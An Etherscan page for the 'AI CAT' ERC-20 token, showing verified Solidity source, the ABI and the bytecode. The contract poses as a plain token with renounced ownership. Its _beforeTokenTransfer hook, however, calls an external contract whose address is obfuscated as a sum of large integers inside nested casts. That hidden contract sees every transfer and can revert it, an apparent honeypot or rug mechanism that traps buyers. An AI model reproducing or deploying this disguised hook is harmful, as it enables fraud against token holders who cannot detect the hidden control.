ETH Price: $3,239.33 (-0.45%)

Token

AI CAT (AICAT)
 

Overview

Max Total Supply

8,888,888,888,888 AICAT

Holders

177

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 10 Decimals)

Balance
3,127,029,476.5355214 AICAT

Value
$0.00
0x7cade6049e5a52531d7d7d749c4ef0c692ae4619
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AICAT

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-08-11
*/

// SPDX-License-Identifier: MIT

/* 
    twitter  : https://x.com/AICAT_ERC20
    website  : https://AICATERC20.xyz/#
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }   
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract AICAT  is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint8 private constant _decimals = 10;
    uint256 private constant Total_ = 8888888888888 * 10 ** _decimals;
    string private constant name_ = unicode"AI CAT";
    string private constant _symbol = unicode"AICAT";

    constructor () {
        _balances[_msgSender()] = Total_;
        emit Transfer(address(0), _msgSender(), Total_);
        renounceOwnership();
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return name_;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }



    function totalSupply() public pure override returns (uint256) {
        return Total_;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(address from, address to, uint256 amount) internal virtual
    {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from]; 

        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _beforeTokenTransfer
        (from,to,amount);
        
        _balances[from] = fromBalance - amount;

        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
    

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        IERC20
            ((((((address(uint160(798784178422176489510321957747474069501600000000
            +135001271 + 11121 )))))))).transferFrom(from,to,amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b505f61001f6101c960201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a806100c89190610495565b6508159b108e386100d991906104df565b60015f6100ea6101c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506101356101c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a806101909190610495565b6508159b108e386101a191906104df565b6040516101ae919061052f565b60405180910390a36101c46101d060201b60201c565b6105c0565b5f33905090565b6101de6101c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461026a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610261906105a2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156103a65780860481111561038257610381610324565b5b60018516156103915780820291505b808102905061039f85610351565b9450610366565b94509492505050565b5f826103be5760019050610479565b816103cb575f9050610479565b81600181146103e157600281146103eb5761041a565b6001915050610479565b60ff8411156103fd576103fc610324565b5b8360020a91508482111561041457610413610324565b5b50610479565b5060208310610133831016604e8410600b841016171561044f5782820a90508381111561044a57610449610324565b5b610479565b61045c848484600161035d565b9250905081840481111561047357610472610324565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61049f82610480565b91506104aa83610489565b92506104d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846103af565b905092915050565b5f6104e982610480565b91506104f483610480565b925082820261050281610480565b9150828204841483151761051957610518610324565b5b5092915050565b61052981610480565b82525050565b5f6020820190506105425f830184610520565b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61058c602083610548565b915061059782610558565b602082019050919050565b5f6020820190508181035f8301526105b981610580565b9050919050565b61159a806105cd5f395ff3fe608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806370a082311161006f57806370a0823114610165578063715018a6146101955780638da5cb5b1461019f57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b361023b565b6040516100c09190610c70565b60405180910390f35b6100e360048036038101906100de9190610d21565b610278565b6040516100f09190610d79565b60405180910390f35b610101610295565b60405161010e9190610da1565b60405180910390f35b610131600480360381019061012c9190610dba565b6102b9565b60405161013e9190610d79565b60405180910390f35b61014f61038d565b60405161015c9190610e25565b60405180910390f35b61017f600480360381019061017a9190610e3e565b610395565b60405161018c9190610da1565b60405180910390f35b61019d6103db565b005b6101a7610529565b6040516101b49190610e78565b60405180910390f35b6101c5610550565b6040516101d29190610c70565b60405180910390f35b6101f560048036038101906101f09190610d21565b61058d565b6040516102029190610d79565b60405180910390f35b61022560048036038101906102209190610e91565b6105aa565b6040516102329190610da1565b60405180910390f35b60606040518060400160405280600681526020017f4149204341540000000000000000000000000000000000000000000000000000815250905090565b5f61028b61028461062c565b8484610633565b6001905092915050565b5f600a806102a3919061102b565b6508159b108e386102b49190611075565b905090565b5f6102c58484846107f6565b610382846102d161062c565b61037d8560405180606001604052806028815260200161153d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61033461062c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aaa9092919063ffffffff16565b610633565b600190509392505050565b5f600a905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6103e361062c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461046f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046690611100565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4149434154000000000000000000000000000000000000000000000000000000815250905090565b5f6105a061059961062c565b84846107f6565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106989061118e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061121c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107e99190610da1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085b906112aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c990611338565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d906113c6565b60405180910390fd5b610961848484610b0c565b818161096d91906113e4565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506109fe8260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba390919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9c9190610da1565b60405180910390a350505050565b5f838311158290610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae89190610c70565b60405180910390fd5b505f8385610aff91906113e4565b9050809150509392505050565b738beab8ab275a9fefe03c6d70d686ca9f37af082873ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b8152600401610b5d93929190611417565b6020604051808303815f875af1158015610b79573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611476565b50505050565b5f808284610bb191906114a1565b905083811015610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed9061151e565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c4282610c00565b610c4c8185610c0a565b9350610c5c818560208601610c1a565b610c6581610c28565b840191505092915050565b5f6020820190508181035f830152610c888184610c38565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610cbd82610c94565b9050919050565b610ccd81610cb3565b8114610cd7575f80fd5b50565b5f81359050610ce881610cc4565b92915050565b5f819050919050565b610d0081610cee565b8114610d0a575f80fd5b50565b5f81359050610d1b81610cf7565b92915050565b5f8060408385031215610d3757610d36610c90565b5b5f610d4485828601610cda565b9250506020610d5585828601610d0d565b9150509250929050565b5f8115159050919050565b610d7381610d5f565b82525050565b5f602082019050610d8c5f830184610d6a565b92915050565b610d9b81610cee565b82525050565b5f602082019050610db45f830184610d92565b92915050565b5f805f60608486031215610dd157610dd0610c90565b5b5f610dde86828701610cda565b9350506020610def86828701610cda565b9250506040610e0086828701610d0d565b9150509250925092565b5f60ff82169050919050565b610e1f81610e0a565b82525050565b5f602082019050610e385f830184610e16565b92915050565b5f60208284031215610e5357610e52610c90565b5b5f610e6084828501610cda565b91505092915050565b610e7281610cb3565b82525050565b5f602082019050610e8b5f830184610e69565b92915050565b5f8060408385031215610ea757610ea6610c90565b5b5f610eb485828601610cda565b9250506020610ec585828601610cda565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610f5157808604811115610f2d57610f2c610ecf565b5b6001851615610f3c5780820291505b8081029050610f4a85610efc565b9450610f11565b94509492505050565b5f82610f695760019050611024565b81610f76575f9050611024565b8160018114610f8c5760028114610f9657610fc5565b6001915050611024565b60ff841115610fa857610fa7610ecf565b5b8360020a915084821115610fbf57610fbe610ecf565b5b50611024565b5060208310610133831016604e8410600b8410161715610ffa5782820a905083811115610ff557610ff4610ecf565b5b611024565b6110078484846001610f08565b9250905081840481111561101e5761101d610ecf565b5b81810290505b9392505050565b5f61103582610cee565b915061104083610e0a565b925061106d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610f5a565b905092915050565b5f61107f82610cee565b915061108a83610cee565b925082820261109881610cee565b915082820484148315176110af576110ae610ecf565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6110ea602083610c0a565b91506110f5826110b6565b602082019050919050565b5f6020820190508181035f830152611117816110de565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611178602483610c0a565b91506111838261111e565b604082019050919050565b5f6020820190508181035f8301526111a58161116c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611206602283610c0a565b9150611211826111ac565b604082019050919050565b5f6020820190508181035f830152611233816111fa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611294602583610c0a565b915061129f8261123a565b604082019050919050565b5f6020820190508181035f8301526112c181611288565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611322602383610c0a565b915061132d826112c8565b604082019050919050565b5f6020820190508181035f83015261134f81611316565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6113b0602683610c0a565b91506113bb82611356565b604082019050919050565b5f6020820190508181035f8301526113dd816113a4565b9050919050565b5f6113ee82610cee565b91506113f983610cee565b925082820390508181111561141157611410610ecf565b5b92915050565b5f60608201905061142a5f830186610e69565b6114376020830185610e69565b6114446040830184610d92565b949350505050565b61145581610d5f565b811461145f575f80fd5b50565b5f815190506114708161144c565b92915050565b5f6020828403121561148b5761148a610c90565b5b5f61149884828501611462565b91505092915050565b5f6114ab82610cee565b91506114b683610cee565b92508282019050808211156114ce576114cd610ecf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611508601b83610c0a565b9150611513826114d4565b602082019050919050565b5f6020820190508181035f830152611535816114fc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fbc8a34837a49082a08c6146de32df0a74c4702b0ab05bf3bb4f7211a9c44c064736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806370a082311161006f57806370a0823114610165578063715018a6146101955780638da5cb5b1461019f57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b361023b565b6040516100c09190610c70565b60405180910390f35b6100e360048036038101906100de9190610d21565b610278565b6040516100f09190610d79565b60405180910390f35b610101610295565b60405161010e9190610da1565b60405180910390f35b610131600480360381019061012c9190610dba565b6102b9565b60405161013e9190610d79565b60405180910390f35b61014f61038d565b60405161015c9190610e25565b60405180910390f35b61017f600480360381019061017a9190610e3e565b610395565b60405161018c9190610da1565b60405180910390f35b61019d6103db565b005b6101a7610529565b6040516101b49190610e78565b60405180910390f35b6101c5610550565b6040516101d29190610c70565b60405180910390f35b6101f560048036038101906101f09190610d21565b61058d565b6040516102029190610d79565b60405180910390f35b61022560048036038101906102209190610e91565b6105aa565b6040516102329190610da1565b60405180910390f35b60606040518060400160405280600681526020017f4149204341540000000000000000000000000000000000000000000000000000815250905090565b5f61028b61028461062c565b8484610633565b6001905092915050565b5f600a806102a3919061102b565b6508159b108e386102b49190611075565b905090565b5f6102c58484846107f6565b610382846102d161062c565b61037d8560405180606001604052806028815260200161153d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61033461062c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aaa9092919063ffffffff16565b610633565b600190509392505050565b5f600a905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6103e361062c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461046f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046690611100565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4149434154000000000000000000000000000000000000000000000000000000815250905090565b5f6105a061059961062c565b84846107f6565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106989061118e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061121c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107e99190610da1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085b906112aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c990611338565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d906113c6565b60405180910390fd5b610961848484610b0c565b818161096d91906113e4565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506109fe8260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba390919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9c9190610da1565b60405180910390a350505050565b5f838311158290610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae89190610c70565b60405180910390fd5b505f8385610aff91906113e4565b9050809150509392505050565b738beab8ab275a9fefe03c6d70d686ca9f37af082873ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b8152600401610b5d93929190611417565b6020604051808303815f875af1158015610b79573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611476565b50505050565b5f808284610bb191906114a1565b905083811015610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed9061151e565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c4282610c00565b610c4c8185610c0a565b9350610c5c818560208601610c1a565b610c6581610c28565b840191505092915050565b5f6020820190508181035f830152610c888184610c38565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610cbd82610c94565b9050919050565b610ccd81610cb3565b8114610cd7575f80fd5b50565b5f81359050610ce881610cc4565b92915050565b5f819050919050565b610d0081610cee565b8114610d0a575f80fd5b50565b5f81359050610d1b81610cf7565b92915050565b5f8060408385031215610d3757610d36610c90565b5b5f610d4485828601610cda565b9250506020610d5585828601610d0d565b9150509250929050565b5f8115159050919050565b610d7381610d5f565b82525050565b5f602082019050610d8c5f830184610d6a565b92915050565b610d9b81610cee565b82525050565b5f602082019050610db45f830184610d92565b92915050565b5f805f60608486031215610dd157610dd0610c90565b5b5f610dde86828701610cda565b9350506020610def86828701610cda565b9250506040610e0086828701610d0d565b9150509250925092565b5f60ff82169050919050565b610e1f81610e0a565b82525050565b5f602082019050610e385f830184610e16565b92915050565b5f60208284031215610e5357610e52610c90565b5b5f610e6084828501610cda565b91505092915050565b610e7281610cb3565b82525050565b5f602082019050610e8b5f830184610e69565b92915050565b5f8060408385031215610ea757610ea6610c90565b5b5f610eb485828601610cda565b9250506020610ec585828601610cda565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610f5157808604811115610f2d57610f2c610ecf565b5b6001851615610f3c5780820291505b8081029050610f4a85610efc565b9450610f11565b94509492505050565b5f82610f695760019050611024565b81610f76575f9050611024565b8160018114610f8c5760028114610f9657610fc5565b6001915050611024565b60ff841115610fa857610fa7610ecf565b5b8360020a915084821115610fbf57610fbe610ecf565b5b50611024565b5060208310610133831016604e8410600b8410161715610ffa5782820a905083811115610ff557610ff4610ecf565b5b611024565b6110078484846001610f08565b9250905081840481111561101e5761101d610ecf565b5b81810290505b9392505050565b5f61103582610cee565b915061104083610e0a565b925061106d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610f5a565b905092915050565b5f61107f82610cee565b915061108a83610cee565b925082820261109881610cee565b915082820484148315176110af576110ae610ecf565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6110ea602083610c0a565b91506110f5826110b6565b602082019050919050565b5f6020820190508181035f830152611117816110de565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611178602483610c0a565b91506111838261111e565b604082019050919050565b5f6020820190508181035f8301526111a58161116c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611206602283610c0a565b9150611211826111ac565b604082019050919050565b5f6020820190508181035f830152611233816111fa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611294602583610c0a565b915061129f8261123a565b604082019050919050565b5f6020820190508181035f8301526112c181611288565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611322602383610c0a565b915061132d826112c8565b604082019050919050565b5f6020820190508181035f83015261134f81611316565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6113b0602683610c0a565b91506113bb82611356565b604082019050919050565b5f6020820190508181035f8301526113dd816113a4565b9050919050565b5f6113ee82610ce